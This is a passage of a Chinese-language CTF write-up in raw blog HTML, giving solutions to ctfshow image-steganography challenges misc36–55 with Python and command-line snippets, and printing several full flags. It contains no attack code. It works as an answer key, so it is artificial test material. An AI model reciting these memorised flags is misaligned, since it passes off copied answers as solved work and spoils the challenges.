src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"582\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-31-1024x582.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1789\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc36<\/h2>\n\n\n\n<p>\u9ad8\u5ea6\u6539\u6210300\u53ef\u4ee5\u770b\u5230flag\u7684\u5f71\u5b50\uff0c\u7136\u540e\u7ee7\u7eed\u7206\u7834\u5bbd\u5ea6\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-32-1024x455.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"455\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-32-1024x455.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1790\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>import os\nimport binascii\nimport struct \nbp = open(\"misc36.gif\", \"rb\").read()    \n#for i in range(901,1500):\nfor i in range(920,951):\n    #\u6839\u636e\u9898\u76ee\u7ed9\u7684\u56fe\u7247\u683c\u5f0f\u4fee\u6539\u540e\u7f00\n    image_name=''+str(i)+'.jpg'\n    image=open(image_name,\"wb\")\n    #png \n    #data=bp&#91;:16] + struct.pack('&gt;i', i)+bp&#91;20:24]+bp&#91;24:]#png\n    #jpg\n    #data=bp&#91;:157]+bp&#91;157:159] + struct.pack('&gt;h', i)+bp&#91;161:]  #jpg\n    #gif\n    data=bp&#91;:38]+ struct.pack('&gt;h', i)&#91;::-1]+bp&#91;40:42] +bp&#91;42:]#gif\n    image.write(data)\n    image.close()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc37<\/h2>\n\n\n\n<p>\u6709\u4e9b\u5e27\u91cc\u85cf\u4e86flag\uff0c\u4e00\u4e2a\u4e00\u4e2a\u627e\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc38<\/h2>\n\n\n\n<p>apng\u9690\u5199\uff0c\u5176\u5b9e\u5c31\u662fpng\u5f62\u5f0f\u7684gif\u7f62\u4e86\uff0choneyview\u770b\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc39<\/h2>\n\n\n\n<p>\u4e0d\u540c\u5e27\u4e4b\u95f4\u7684\u65f6\u95f4\u95f4\u9694\u8fdb\u884c\u9690\u5199<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>identify -format \"%T \" misc39.gif &gt; 1.txt<\/code><\/pre>\n\n\n\n<p>\u5f97\u5230\u7684\u4e00\u4e3236\u548c37\uff0c\u8003\u8651\u628a37\u6362\u62101\u300136\u6362\u62100\uff0c\u6bcf7\u4f4d\u8f6c\u4e00\u4e2a\u5b57\u7b26<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>s=\"11000111110100110011011100111101000110111111101111111011011010101100100111000011000101100101100110110011001110010111001011010111001101100010011011111000101100101011001001101100111000110010001110010110110011001111000010111001110010111000101100011110000101100000110100011010101110011111101\"\nflag=\"\"\nfor i in range(41): #287\/\/7\n    flag += chr(int(s&#91;7*i:7*(i+1)],2))\nprint(flag)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc40<\/h2>\n\n\n\n<p>\u7528APNG Disassembler\u5206\u79bbapng\uff0c\u53ef\u4ee5\u770b\u5230\u4e0d\u4f46\u5206\u79bb\u51fa\u6765\u4e86\u56fe\u7247\u8fd8\u5206\u79bb\u51fa\u6765\u4e86txt\u6587\u672c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-33.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"513\" height=\"188\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-33.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1793\"  sizes=\"auto, (max-width: 513px) 100vw, 513px\" \/><\/div><\/figure>\n\n\n\n<p>1000\u524d\u9762\u90a3\u4e2a102\u4e00\u773cascii\u7801\uff0c\u5199\u4e00\u4e2a\u811a\u672c\u63d0\u53d6\u4e00\u4e0b\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>flag=\"\"\nfor i in range(28,69): #flag\u5185\u5bb9\u4ece28\u4f4d\u5f00\u59cb\n    f = open('apngframe'+str(i)+'.txt')\n    s = f.read()\n    flag += chr(int(s.split(\"\/\")&#91;0]&#91;6:]))\nprint(flag)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc42<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-34.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"719\" height=\"616\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-34.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1796\"  sizes=\"auto, (max-width: 719px) 100vw, 719px\" \/><\/div><\/figure>\n\n\n\n<p>99 116\u5f80\u540e\u521a\u597d\u662fctfshow\u5565\u5565\u5565\u7684ascii\u7801\uff0c\u6240\u4ee5ascii\u8f6c\u4e00\u4e0bchr\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>a=\"99,116,102,115,104,111,119,123,48,55,56,99,98,100,48,102,57,99,56,100,51,102,50,49,53,56,101,55,48,53,50,57,102,56,57,49,51,99,54,53,125\"\nc=a.split(',')\nflag=\"\"\nfor i in range(0,len(c)):\n    flag+=chr(int(c&#91;i]))\n    print(flag)\nprint(flag)\n#ctfshow{078cbd0f9c8d3f2158e70529f8913c65}\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc43<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>PNGDebugger.exe C:\\Users\\user\\Downloads\\misc43\\misc43.png &gt;1.txt<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u9898\u76ee\u63cf\u8ff0\u4e2d\u8bf4\u9519\u8bef\u4e2d\u85cf\u7740\u7b54\u6848\uff0c\u6211\u4eec\u628acrc-code=xxx\u68c0\u9a8ccrc\u5931\u8d25\u7684\u90a3\u4e9b\u503c\u90fd\u63d0\u53d6\u51fa\u6765\u7136\u540e\u8f6cstr\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import binascii\n\nhex_str = \"93A62E63746673686F777B36656232353839666666663565333930666536623837353034646263303839327D\"\nbyte_data = binascii.unhexlify(hex_str)\nstr_data = byte_data.decode('utf-8', errors='ignore')\n\nprint(str_data)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc44<\/h2>\n\n\n\n<p>\u5c06\u6587\u672c\u524d10\u884c\u548c\u6700\u540e4\u884c\u6ca1\u7528\u7684\u5220\u6389(\u56e0\u4e3a\u7b2c\u4e00\u4e2a\u548c\u6700\u540e\u4e00\u4e2a\u4e0d\u662f\u6211\u4eec\u8981\u7684IDAT\u6570\u636e\u5757\uff0c\u7b2c\u4e00\u4e2a\u662f\u4e00\u4e2aIHDR\uff0c\u6700\u540e\u4e00\u4e2a\u6570\u636e\u4e3a\u7a7a\uff0c\u6ca1\u6709\u610f\u4e49)\u3002\u7136\u540e\u5199\u811a\u672c\uff0c\u628aCRC OK\u7684\u66ff\u6362\u62101\uff0cCRC FAILED\u66ff\u6362\u62100<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>f=open(\"1.txt\",\"r\")\ns=f.read()\nf.close()\nflag=\"\"\nfor i in s.split():\n    if \"OK!\" == i:\n        flag += \"1\"\n    elif \"FAILED\" ==i:\n        flag += \"0\"\nprint(flag)\n#11111111111111110110001101110100011001100111001101101000011011110111011101111011011000110110001100110001011000010110011000110011001100100110001001100110001110010011011000110011001100000011100001100110011000110011000100110010001101100011001100110010001100110011000101100010011001010011011100111000001100110110011000110110001110010110010101111101\nprint(len(flag)) #344\nfor i in range(43):\n    print(chr(int(flag&#91;8*i:8*(i+1)],2)),end=\"\")<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc45<\/h2>\n\n\n\n<p><a href=\"https:\/\/cdkm.com\/cn\/png-to-bmp\">https:\/\/cdkm.com\/cn\/png-to-bmp<\/a>\u628apng\u8f6cbmp\uff0c\u7136\u540ebinwalk -e\u5c31\u80fd\u5206\u79bb\u51faflag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc46<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>identify misc46.gif &gt; message.txt<\/code><\/pre>\n\n\n\n<p>\u63d0\u53d6\u51fa\u6765\u76840+0\u3001174+49\u3001196+47\u8fd9\u4e9b\u662f\u504f\u79fb\u91cf\uff0c\u6211\u4eec\u89c6\u4f5c\u5750\u6807\uff0c\u5199\u811a\u672c\u753b\u56fe<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from PIL import Image\nimport matplotlib.pyplot as plt\nf = open('message.txt')\npp = &#91;]\nwhile 1:\n    c = f.readline()\n    if c:\n        s = eval(c.split('+')&#91;1]+','+c.split('+')&#91;2]&#91;:2])\n        pp.append(s)\n        print(s)\n        # print(c)\n    else:\n        break\nimg = Image.new('RGB',(400,70),(255,255,255))\nfor i in pp:\n    new = Image.new('RGB',(1,1),(0,0,0))\n    img.paste(new,i)\nplt.imshow(img)\nplt.show()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc47<\/h2>\n\n\n\n<p>\u7ed9\u4e86\u4e00\u4e2aapng\uff0capng\u683c\u5f0f\u6bcf\u4e00\u4e2aIDAT\u5757\u524d\u9762\u90fd\u4f1a\u6709\u4e00\u4e2afcTL\u5757\uff0c\u5176\u4e2d\u5305\u542b\u6c34\u5e73\u5782\u76f4\u504f\u79fb\u91cf\uff0c\u548c\u4e0a\u9898\u4e00\u6837\u753b\u56fe\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import struct\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nf = open('misc47.png','rb')\nc = f.read()\nc = c&#91;c.index(bytes.fromhex('6663544C00000001')):]\npp = &#91;]\nfor i in range(1,1124,2):\n    start = c.index(bytes.fromhex('6663544C0000')+struct.pack('&gt;h',i))\n    # start = c.index(bytes.fromhex('6663544C000000'+hex(i)&#91;2:]))\n    # print(start)\n    fc = c&#91;start:start+30]\n    print(fc&#91;18:20],fc&#91;22:24])\n    print(struct.unpack('&gt;h',fc&#91;18:20])+struct.unpack('&gt;h',fc&#91;22:24]))\n    pp.append(struct.unpack('&gt;h',fc&#91;18:20])+struct.unpack('&gt;h',fc&#91;22:24]))\n    # print(fc.index(b'\\xb6'),fc.index(b'\\x34'))\n# print(c&#91;:100])\nimg = Image.new('RGB',(400,70),(255,255,255))\nfor i in pp:\n    new = Image.new('RGB',(1,1),(0,0,0))\n    img.paste(new,i)\nplt.imshow(img)\nplt.show()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc48<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-35.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"867\" height=\"375\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-35.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1801\"  sizes=\"auto, (max-width: 867px) 100vw, 867px\" \/><\/div><\/figure>\n\n\n\n<p>\u7edf\u8ba1FF\u7684\u6570\u91cf\u518d\u51cf\u4e00\uff0cctfshow{}\u4e2d\u5305\u542b32\u4e2a\u5b57\u7b26\u3002<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>0 12 11 0 7 10 13 13 9 0 9 13 0 13 6 0 10 9 2 1 0 1 10 8 11 5 12 7 2 2 3 10<\/p>\n\n\n\n<p>\u8f6c\u4e3a16\u8fdb\u5236\u5f97\u5230\uff0cctfshow{0cb07add909d0d60a92101a8b5c7223a}<\/p>\n<\/blockquote>\n<\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">misc49<\/h2>\n\n\n\n<p>\u628aFFE\u540e\u9762\u7684\u90a3\u4e2a\u5b57\u7b26\u63d0\u53d6\u51fa\u6765\uff0c\u518d\u8fde\u63a5\u5728\u4e00\u8d77\uff0c\u4e00\u517132\u4f4d()\uff0c\u8fd9\u5c31\u662fflag<\/p>\n\n\n\n<p>ctfshow{0c618671a153f5da3948fdb2a2238e44}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u56fe\u7247\u7bc7(\u989c\u8272\u901a\u9053)<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">misc50<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-36-1024x673.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"673\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-36-1024x673.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1802\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc51<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-37.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"749\" height=\"537\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-37.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1803\"  sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/div><\/figure>\n\n\n\n<p>\u9664\u4e86\u524d\u51e0\u4e2a\u5176\u4ed6\u989c\u8272\u9891\u7387\u90fd\u662f0.0015\uff0c\u5176\u4e2d\u7b2c\u4e09\u4e2a\u548c\u7b2c\u4e8c\u4e2a\uff0c\u770b\u8d77\u6765\u6709\u95ee\u9898\u4e00\u70b9\uff0c\u6211\u4eec\u65b0\u5efa\u4e00\u4e2a\u9ed1\u8272\u80cc\u666f\u56fe\u7247\uff0c\u5982\u679c\u5750\u6807(x,y)\u5bf9\u5e94\u7684\u989c\u8272\u4e3a\u4e0a\u8ff0\u4e24\u79cd\u5176\u4e00\u5c31\u628a\u5b83\u53d8\u6210\u767d\u8272<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from PIL import Image\nim=Image.open('51.png')\nim = im.convert('RGB')\nimg = Image.new(\"RGB\",(900,150))\n \nfor h in range(900):\n    for w in range(150):\n        s = im.getpixel((h,w))\n        if s == (64, 96, 128) or s == (128, 96, 64):\n            img.putpixel(&#91;h, w], (255, 255, 255))\nimg.show()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-38-1024x667.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"667\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-38-1024x667.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1804\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc52<\/h2>\n\n\n\n<p>\u8fd9\u6b21\u53d6\u51fa\u73b0\u6b21\u6570\u6700\u5c11\u7684\u5341\u79cd<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from PIL import Image\nim=Image.open('misc52.png')\nim = im.convert('RGB')\nimg = Image.new(\"RGB\",(900,150))\nlt = &#91;(130, 176, 116),(72, 217, 123),(146, 16, 141),(130, 241, 105),(251, 160, 136),(5, 129, 88),(167, 46, 187),(20, 65, 141),(96, 231, 225),(196, 144, 18)]\nfor h in range(900):\n    for w in range(150):\n        s = im.getpixel((h,w))\n        if s in lt:\n            img.putpixel(&#91;h, w], (255, 255, 255))\nimg.show()<\/code><\/pre>\n\n\n\n<p>ctfshow{f87ad503c2c1<em>6347<\/em>1f<em>be768c9d7a9d6c}<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc53<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"711\" height=\"190\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1805\"  sizes=\"auto, (max-width: 711px) 100vw, 711px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc54<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-40.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"729\" height=\"408\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-40.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1806\"  sizes=\"auto, (max-width: 729px) 100vw, 729px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/2-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"924\" height=\"429\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/2-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1807\"  sizes=\"auto, (max-width: 924px) 100vw, 924px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/3-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"918\" height=\"459\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/3-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1808\"  sizes=\"auto, (max-width: 918px) 100vw, 918px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e09\u4e2a\u901a\u9053\u96f6\u4f4d\u6709\u9690\u5199<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-41.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"721\" height=\"573\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-41.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1809\"  sizes=\"auto, (max-width: 721px) 100vw, 721px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc55<\/h2>\n\n\n\n<p>\u5148\u628a\u56fe\u7247\u7ffb\u8f6c\u8fc7\u6765<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from PIL import Image\n \nimg = Image.open('misc55.png')\n \nimg.transpose(Image.FLIP_TOP_BOTTOM).save('out.png')<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-42.png'><img class=\"lazyload lazyload-style-1\" 